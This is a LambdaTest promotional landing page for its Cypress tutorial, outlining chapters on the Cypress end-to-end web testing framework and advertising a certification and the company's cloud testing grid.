Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.

Chapters:

  1. What is Cypress? -
  2. Why Cypress? - Learn why Cypress might be a good choice for testing your web applications.
  3. Features of Cypress Testing - Learn about features that make Cypress a powerful and flexible tool for testing web applications.
  4. Cypress Drawbacks - Although Cypress has many strengths, it has a few limitations that you should be aware of.
  5. Cypress Architecture - Learn more about Cypress architecture and how it is designed to be run directly in the browser, i.e., it does not have any additional servers.
  6. Browsers Supported by Cypress - Cypress is built on top of the Electron browser, supporting all modern web browsers. Learn browsers that support Cypress.
  7. Selenium vs Cypress: A Detailed Comparison - Compare and explore some key differences in terms of their design and features.
  8. Cypress Learning: Best Practices - Take a deep dive into some of the best practices you should use to avoid anti-patterns in your automation tests.
  9. How To Run Cypress Tests on LambdaTest? - Set up a LambdaTest account, and now you are all set to learn how to run Cypress tests.

Certification

You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.

YouTube

Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.

Run Cypress automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful